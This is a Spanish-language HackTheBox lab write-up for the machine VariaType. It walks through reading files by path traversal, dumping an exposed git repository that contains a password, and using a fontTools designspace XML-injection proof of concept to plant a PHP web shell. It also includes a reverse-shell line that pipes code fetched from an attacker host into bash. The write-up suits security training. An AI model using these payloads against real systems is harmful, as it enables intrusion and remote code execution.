This page looks best with JavaScript enabled

HackTheBox - VariaType

VariaType permite la creacion de Variable Fonts en el sitio con fonttools, esta ultima es vulnerable a Arbirary File Write e Inyeccion XML. Tambien, se descubrio un subdominio que aloja y expone un repositorio con credenciales para un portal, se identifico un Path Traversal. La explotacion permitio acceso inicial. Se descubrio un backup de script Python con la libreria fontforge vulnerable, la explotacion permitio acceso a un nuevo usuario. Finalmente se escalaron privilegios a traves de una vulnerabilidad en la libreria de setuptools de Python.

Nombre VariaType
OS

Linux

Puntos 30
Dificultad Medium
Fecha de Salida 2026-03-14
IP 10.129.255.105
Maker

WackyH4cker

Rated
{
    "type": "bar",
    "data":  {
        "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
        "datasets": [{
            "label": "User Rated Difficulty",
            "data": [41, 38, 215, 321, 744, 501, 291, 65, 21, 43],
            "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
        }]
    },
    "options": {
        "scales": {
          "xAxes": [{"display": false}],
          "yAxes": [{"display": false}]
        },
        "legend": {"labels": {"fontColor": "white"}},
        "responsive": true
      }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# Nmap 7.95 scan initiated Thu Mar 19 22:57:01 2026 as: /usr/lib/nmap/nmap --privileged -p22,80 -sV -sC -oN nmap_scan 10.129.255.105
Nmap scan report for 10.129.255.105
Host is up (0.24s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 e0:b2:eb:88:e3:6a:dd:4c:db:c1:38:65:46:b5:3a:1e (ECDSA)
|_  256 ee:d2:bb:81:4d:a2:8f:df:1c:50:bc:e1:0e:0a:d1:22 (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: Did not follow redirect to http://variatype.htb/
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar 19 22:57:16 2026 -- 1 IP address (1 host up) scanned in 14.56 seconds

Agregamos a nuestro archivo /etc/hosts el dominio variatype.htb.

Web Site

Los headers del sitio indican un servidor nginx.

1
2
3
4
5
6
7
8
9
❯ curl -sI variatype.htb
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Fri, 20 Mar 2026 05:01:15 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2321
Connection: keep-alive

El sitio se enfoca en la creacion de fuentes a base de un archivo .designspace.

image

Expone un formulario para el envio de archivos .designspace y fuentes (.ttf, .otf), a base de estos se crearia una “variable font”.

image

Se menciona CI/CD pipelines.

image

Directory Brute Forcing

dirsearch muestra una direccion de descarga.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
❯ dirsearch -u http://variatype.htb/ 2>/dev/null

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/htb/variatype/reports/http_variatype.htb/__26-03-19_23-03-16.txt

Target: http://variatype.htb/

[23:03:16] Starting: 
[23:04:14] 302 -  247B  - /download/history.csv  ->  /tools/variable-font-generator
[23:04:14] 302 -  247B  - /download/users.csv  ->  /tools/variable-font-generator
[23:04:52] 200 -    3KB - /services

Task Completed

La direccion /download/ seguramente sea para la descarga del archivo generado por el sitio, al visitar la direccion muestra un mensaje de error.

image

Subdomain Discovery

Tras ejecutar ffuf este muestra el subdominio portal.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.variatype.htb" -u http://variatype.htb -fw 5

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://variatype.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.variatype.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 5
________________________________________________

portal                  [Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 245ms]
:: Progress: [151265/151265] :: Job [1/1] :: 167 req/sec :: Duration: [0:15:26] :: Errors: 0 ::

portal.variatype.htb

El subdominio muestra un formulario para un login.

image

Directory Brute Forcing

dirsearch muestra un repositorio expuesto, paginas php y un directorio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
❯ dirsearch -u http://portal.variatype.htb/ 2>/dev/null

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/htb/variatype/reports/http_portal.variatype.htb/__26-03-20_00-02-32.txt

Target: http://portal.variatype.htb/

[00:02:32] Starting: 
[00:02:40] 301 -  169B  - /.git  ->  http://portal.variatype.htb/.git/
[00:02:40] 403 -  555B  - /.git/
[00:02:40] 403 -  555B  - /.git/branches/
[00:02:40] 200 -   39B  - /.git/COMMIT_EDITMSG
[00:02:40] 200 -  143B  - /.git/config
[00:02:40] 200 -   73B  - /.git/description
[00:02:40] 200 -   23B  - /.git/HEAD
[00:02:40] 403 -  555B  - /.git/hooks/
[00:02:40] 200 -  137B  - /.git/index
[00:02:40] 403 -  555B  - /.git/info/
[00:02:40] 200 -  240B  - /.git/info/exclude
[00:02:40] 403 -  555B  - /.git/logs/
[00:02:40] 200 -  700B  - /.git/logs/HEAD
[00:02:40] 301 -  169B  - /.git/logs/refs  ->  http://portal.variatype.htb/.git/logs/refs/
[00:02:40] 301 -  169B  - /.git/logs/refs/heads  ->  http://portal.variatype.htb/.git/logs/refs/heads/
[00:02:40] 200 -  700B  - /.git/logs/refs/heads/master
[00:02:40] 403 -  555B  - /.git/objects/
[00:02:40] 301 -  169B  - /.git/refs/heads  ->  http://portal.variatype.htb/.git/refs/heads/
[00:02:40] 403 -  555B  - /.git/refs/
[00:02:40] 200 -   41B  - /.git/refs/heads/master
[00:02:40] 301 -  169B  - /.git/refs/tags  ->  http://portal.variatype.htb/.git/refs/tags/
[00:03:15] 200 -    0B  - /auth.php
[00:03:27] 302 -    0B  - /dashboard.php  ->  /
[00:03:30] 302 -    0B  - /download.php  ->  /
[00:03:34] 301 -  169B  - /files  ->  http://portal.variatype.htb/files/
[00:03:34] 403 -  555B  - /files/
[00:04:21] 302 -    0B  - /view.php  ->  /

Task Completed

Portal - Repo

git-dumper nos permitio obtener el repositorio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
❯ git-dumper http://portal.variatype.htb/ portal_repo
[-] Testing http://portal.variatype.htb/.git/HEAD [200]
[-] Testing http://portal.variatype.htb/.git/ [403]
[-] Fetching common files
[-] Fetching http://portal.variatype.htb/.gitignore [404]
# ... skip ...
[-] Fetching http://portal.variatype.htb/.git/objects/c6/ea13ef05d96cf3f35f62f87df24ade29d1d6b4 [200]
[-] Fetching http://portal.variatype.htb/.git/objects/03/0e929d424a937e9bd079794a7e1aaf366bcfaf [200]
[-] Fetching http://portal.variatype.htb/.git/objects/b3/28305f0e85c2b97a7e2a94978ae20f16db75e8 [200]
[-] Running git checkout .

git log muestra dos commits realizados mencionando el portal y un usuario para el pipeline. git status muestra un archivo con cambios no enviado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
❯ git log
commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -> master)
Author: Dev Team <dev@variatype.htb>
Date:   Fri Dec 5 15:59:33 2025 -0500

    fix: add gitbot user for automated validation pipeline

commit 5030e791b764cb2a50fcb3e2279fea9737444870
Author: Dev Team <dev@variatype.htb>
Date:   Fri Dec 5 15:57:57 2025 -0500

    feat: initial portal implementation
❯ git status
On branch master
Changes to be committed:
  (use "git restore --staged <file>..." to unstage)
	modified:   auth.php

❯ cat auth.php
<?php
session_start();
$USERS = [];

Uno de los commits muestra credenciales: gitbot : G1tB0t_Acc3ss_2025!.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
❯ git show 753b5f5957
commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -> master)
Author: Dev Team <dev@variatype.htb>
Date:   Fri Dec 5 15:59:33 2025 -0500

    fix: add gitbot user for automated validation pipeline

diff --git a/auth.php b/auth.php
index 615e621..b328305 100644
--- a/auth.php
+++ b/auth.php
@@ -1,3 +1,5 @@
 <?php
 session_start();
-$USERS = [];
+$USERS = [
+    'gitbot' => 'G1tB0t_Acc3ss_2025!'
+];

Las credenciales permiten el acceso al portal, este indica las fuentes creadas por el sitio web en el dominio.

image

User - www-data

CVE-2025-66034

Para generar una ‘variable font’ se necesita un archivo .designspace junto con archivos de fuente .ttf .otf. Este es un archivo de “configuraciones” para una familia de fuentes. fonttools, herramienta utilizada por el sitio, permite generar este tipo de archivos. Especificamente este archivo, en esta ’libreria’, tiene una vulnerabilidad que permite la escritura de archivos de forma arbitraria a traves de Inyeccion XML (Arbitrary File Write and XML injection in fontTools.varLib) que puede escalar a RCE.

En el PoC se especifica el contenido y el archivo a escribir.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<!-- skip -->
<labelname xml:lang="en"><![CDATA[<?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]]]><![CDATA[>]]></labelname>
<!-- skip -->
<variable-fonts>
    <variable-font name="MyFont" filename="output.ttf">
        <axis-subsets>
            <axis-subset name="Weight"/>
        </axis-subsets>
    </variable-font>
</variable-fonts>
<!-- skip -->

Tras ejecutar el archivo setup.py este genera dos fuentes.

1
2
3
4
5
6
7
❯ python setup.py
❯ ll
.rw-rw-r-- kali kali 813 B Thu Mar 19 23:22:21 2026  mal.designspace
.rw-rw-r-- kali kali 953 B Thu Mar 19 23:21:59 2026  setup.py
.rw-rw-r-- kali kali 600 B Thu Mar 19 23:22:27 2026  source-light.ttf
.rw-rw-r-- kali kali 600 B Thu Mar 19 23:22:27 2026  source-regular.ttf

Enviamos el PoC junto con las dos fuentes, muestra que la ‘variable font’ esta completa.

image

file muestra que es un archivo TrueType Font data.

1
2
3
❯ file MyVariableFont_-iAnQx7OmxM.ttf
MyVariableFont_-iAnQx7OmxM.ttf: TrueType Font data, 14 tables, 1st "HVAR", 10 names, Macintosh, type 1 string, TestWeight400<?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]>ThinMEOW2

En el portal se lista el archivo.

image

La opcion View permite visualizar informacion del archivo. Download descarga el archivo almacenado en este mismo subdominio.

image

En ninguna parte encontramos el archivo output.ttf el cual tendria la ejecucion de touch, posiblemente este siendo creado en un lugar diferente no accesible via web. Para crear y acceder a este archivo debemos crearlo en un directorio accesible via web.

Path Traversal

En el portal es posible la descarga de archivos, generamos un wordlist con dotdotpwn.

1
❯ ./dotdotpwn.pl -m stdout -d 12 -f /etc/passwd > ~/htb/variatype/wordlist_traversal.txt

ffuf muestra que es posible acceder a archivos de la maquina, en este caso /etc/passwd, esto indicaria un Path Traversal.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
❯ ffuf -w wordlist_traversal.txt -u 'http://portal.variatype.htb/download.php?f=FUZZ' -H 'Cookie: PHPSESSID=0u6rvak3eo9l56m6jmtta117rd' -fl 1

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://portal.variatype.htb/download.php?f=FUZZ
 :: Wordlist         : FUZZ: /home/kali/htb/variatype/wordlist_traversal.txt
 :: Header           : Cookie: PHPSESSID=0u6rvak3eo9l56m6jmtta117rd
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response lines: 1
________________________________________________

..././..././..././..././..././etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
..././..././..././..././..././..././etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
..././..././..././..././..././..././..././etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
..././..././..././..././..././..././..././..././etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
..././..././..././..././..././..././..././..././..././..././..././etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
..././..././..././..././..././..././..././..././..././..././etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
..././..././..././..././..././..././..././..././..././etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
..././..././..././..././..././..././..././..././..././..././..././..././etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 239ms]
.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
.../.%2f.../.%2f.../.%2f.../.%2f.../.%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
....//....//....//....//....//....//....//etc//passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
....//....//....//....//....//....//etc//passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
....//....//....//....//....//etc//passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
....//....//....//....//....//....//....//....//etc//passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
....//....//....//....//....//....//....//....//....//etc//passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
....//....//....//....//....//....//....//....//....//....//etc//passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
....//....//....//....//....//....//....//....//....//....//....//etc//passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
....//....//....//....//....//....//....//....//....//....//....//....//etc//passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
..../%2f..../%2f..../%2f..../%2f..../%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
..../%2f..../%2f..../%2f..../%2f..../%2f..../%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
:: Progress: [11052/11052] :: Job [1/1] :: 166 req/sec :: Duration: [0:01:06] :: Errors: 0 ::

/etc/passwd muestra el usuario steve.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ curl 'http://portal.variatype.htb/download.php?f=..././..././..././..././..././etc/passwd' -H 'Cookie: PHPSESSID=0u6rvak3eo9l56m6jmtta117rd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
steve:x:1000:1000:steve,,,:/home/steve:/bin/bash
variatype:x:102:110::/nonexistent:/usr/sbin/nologin
_laurel:x:999:996::/var/log/laurel:/bin/false

Nginx

El archivo de configuracion de nginx indica que existen dos sitios habilitados.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
❯ curl 'http://portal.variatype.htb/download.php?f=..././..././..././..././..././etc/nginx/nginx.conf' -H 'Cookie: PHPSESSID=0u6rvak3eo9l56m6jmtta117rd'
user www-data;
worker_processes auto;
pid /run/nginx.pid;
error_log /var/log/nginx/error.log;
include /etc/nginx/modules-enabled/*.conf;

events {
	worker_connections 768;
	# multi_accept on;
}

http {
    # ... skip ...

	##
	# Virtual Host Configs
	##

	include /etc/nginx/conf.d/*.conf;
        include /etc/nginx/sites-enabled/variatype.htb;
        include /etc/nginx/sites-enabled/portal.variatype.htb;
}
# ... skip ...

El dominio es un reverse proxy para el puerto 5000 localmente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# /etc/nginx/sites-enabled/variatype.htb
server {
    listen 80 default_server;
    listen [::]:80 default_server;

    server_name _; 

    return 301 http://variatype.htb$request_uri;
}

server {
    listen 80;
    server_name variatype.htb;

    access_log /var/log/nginx/variatype_access.log;
    error_log /var/log/nginx/variatype_error.log;

    location / {
        proxy_pass http://127.0.0.1:5000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }

}

El segundo es para el subdominio, el portal, en este se indica la raiz del directorio. Ademas, se indica /files/ donde es posible acceder a archivos conociendo unicamente el nombre.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# /etc/nginx/sites-enabled/portal.variatype.htb
server {
    listen 80;
    server_name portal.variatype.htb;

    root /var/www/portal.variatype.htb/public;
    index index.php;

    access_log /var/log/nginx/portal_access.log;
    error_log /var/log/nginx/portal_error.log;

    location / {
        try_files $uri $uri/ =404;
    }

    location ~ \.php$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/run/php/php-fpm.sock;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        include fastcgi_params;
    }

    location /files/ {
        autoindex off;
    }
}

Exploit - CVE-2025-66034

Con la informacion de nginx logramos encontrar una direccion accesible via web donde podemos realizar la escritura de un archivo a traves de la vulnerabilidad en fonttools.

1
/var/www/portal.variatype.htb/public/files/

Editamos el PoC donde indicamos la ejecucion de whoami dentro de /files/whoami.php.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
	<axes>
        <!-- XML injection occurs in labelname elements with CDATA sections -->
	   <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
	       <labelname xml:lang="en"><![CDATA[<?php echo(shell_exec("whoami"));?>]]]]><![CDATA[>]]></labelname>
	       <labelname xml:lang="fr">MEOW2</labelname>
	   </axis>
	</axes>
	<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
	<sources>
		<source filename="source-light.ttf" name="Light">
			<location>
				<dimension name="Weight" xvalue="100"/>
			</location>
		</source>
		<source filename="source-regular.ttf" name="Regular">
			<location>
				<dimension name="Weight" xvalue="400"/>
			</location>
		</source>
	</sources>
	<variable-fonts>
		<variable-font name="MyFont" filename="/var/www/portal.variatype.htb/public/files/whoami.php">
			<axis-subsets>
				<axis-subset name="Weight"/>
			</axis-subsets>
		</variable-font>
	</variable-fonts>
	<instances>
		<instance name="Display Thin" familyname="MyFont" stylename="Thin">
			<location><dimension name="Weight" xvalue="100"/></location>
			<labelname xml:lang="en">Display Thin</labelname>
		</instance>
	</instances>
</designspace>

Tras subir el archivo vemos que se lista whoami.php, esto indicaria que los archivos listados son los que se encuentran en /files/.

image

Tambien, observamos que se ejecuto el comando.

image

Shell

Ejecutamos shells, editamos el poc para la ejecucion de una shell inversa.

1
<labelname xml:lang="en"><![CDATA[ <?php shell_exec("curl 10.10.14.10:8000/10.10.14.10:1335|bash");?> ]]]]><![CDATA[>]]></labelname>

Tras visitar el archivo logramos una shell como www-data.

1
2
3
4
5
6
7
8
9
❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.10] from variatype.htb [10.129.255.115] 40154
/bin/sh: 0: can't access tty; job control turned off
$ whoami;id;pwd
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/portal.variatype.htb/public/files
$

download.php y dashboard.php indican el manejo de archivos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//download.php
<?php
require_once 'auth.php';
require_login();

$file = $_GET['f'] ?? '';
if (!$file) {
    die('File parameter required.');
}

$file = str_replace("../", "", $file);

$filepath = '/var/www/portal.variatype.htb/public/files/' . $file;

if (!is_file($filepath)) {
    die('File not found.');
}

// Forzar descarga
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
header('Content-Length: ' . filesize($filepath));

readfile($filepath);
exit();
?>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
// dashboard.php
<?php
require_once 'auth.php';
require_login();

$archive_dir = '/var/www/portal.variatype.htb/public/files';
$files = [];

if (is_dir($archive_dir)) {
    $files = array_filter(scandir($archive_dir), function($f) use ($archive_dir) {
        return $f !== '.' && $f !== '..' && is_file("$archive_dir/$f");
    });

    usort($files, function($a, $b) use ($archive_dir) {
        return filemtime("$archive_dir/$b") - filemtime("$archive_dir/$a");
    });
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Dashboard — VariaType Validation</title>
  <link rel="stylesheet" href="/styles.css">
</head>
<body>
  <div class="container">
    <header>
      <h1>Validation Dashboard</h1>
      <a href="?logout=1" class="logout">Logout</a>
    </header>

    <?php if ($_GET['logout'] ?? null): logout(); endif; ?>

    <p style="margin-bottom: 1.5rem; color: var(--text-secondary);">
      Recent font builds from the variable font generator.
    </p>

    <?php if (empty($files)): ?>
      <div class="file-list">
        <div class="file-item">No generated fonts found.</div>
      </div>
    <?php else: ?>
      <div class="file-list">
        <?php foreach (array_slice($files, 0, 50) as $file): ?>
          <div class="file-item">
            <span class="file-name"><?= htmlspecialchars($file) ?></span>
            <span>
             <a href="/view.php?f=<?= urlencode($file) ?>" style="margin-right: 10px;">View</a>
             <a href="/download.php?f=<?= urlencode($file) ?>">Download</a>
            </span>
          </div>
        <?php endforeach; ?>
      </div>
    <?php endif; ?>

    <div class="footer">
      <p>Files are auto-archived from the main generator pipeline.</p>
    </div>
  </div>
</body>
</html>

User - Steve

En el directorio /opt encontramos dos directorios y un archivo. variatype contiene el codigo fuente del sitio en el dominio. process_client_submissions.bak aparentemente es un backup de un script que maneja los archivos fuente del portal. font-tools contiene un script y directorio para la instalacion de plugins.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$ pwd
/opt
$ ls -lah
total 20K
drwxr-xr-x  4 root      root      4.0K Mar  9 08:29 .
drwxr-xr-x 18 root      root      4.0K Mar  9 08:29 ..
drwxr-xr-x  3 root      root      4.0K Mar  9 08:29 font-tools
-rwxr-xr--  1 steve     steve     2.0K Feb 26 07:50 process_client_submissions.bak
drwxr-xr-x  4 variatype variatype 4.0K Mar  9 08:29 variatype
$

Command Injection - fontforge

En process_client_submissions.bak encontramos que utiliza codigo python con la libreria fontforge para obtener informacion del archivo procesado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/bin/bash
#
# Variatype Font Processing Pipeline
# Author: Steve Rodriguez <steve@variatype.htb>
# Only accepts filenames with letters, digits, dots, hyphens, and underscores.
#

set -euo pipefail

UPLOAD_DIR="/var/www/portal.variatype.htb/public/files"
PROCESSED_DIR="/home/steve/processed_fonts"
QUARANTINE_DIR="/home/steve/quarantine"
LOG_FILE="/home/steve/logs/font_pipeline.log"

mkdir -p "$PROCESSED_DIR" "$QUARANTINE_DIR" "$(dirname "$LOG_FILE")"

log() {
    echo "[$(date --iso-8601=seconds)] $*" >> "$LOG_FILE"
}

cd "$UPLOAD_DIR" || { log "ERROR: Failed to enter upload directory"; exit 1; }

shopt -s nullglob

EXTENSIONS=(
    "*.ttf" "*.otf" "*.woff" "*.woff2"
    "*.zip" "*.tar" "*.tar.gz"
    "*.sfd"
)

SAFE_NAME_REGEX='^[a-zA-Z0-9._-]+$'

found_any=0
for ext in "${EXTENSIONS[@]}"; do
    for file in $ext; do
        found_any=1
        [[ -f "$file" ]] || continue
        [[ -s "$file" ]] || { log "SKIP (empty): $file"; continue; }

        # Enforce strict naming policy
        if [[ ! "$file" =~ $SAFE_NAME_REGEX ]]; then
            log "QUARANTINE: Filename contains invalid characters: $file"
            mv "$file" "$QUARANTINE_DIR/" 2>/dev/null || true
            continue
        fi

        log "Processing submission: $file"

        if timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
import sys
try:
    font = fontforge.open('$file')
    family = getattr(font, 'familyname', 'Unknown')
    style = getattr(font, 'fontname', 'Default')
    print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
    font.close()
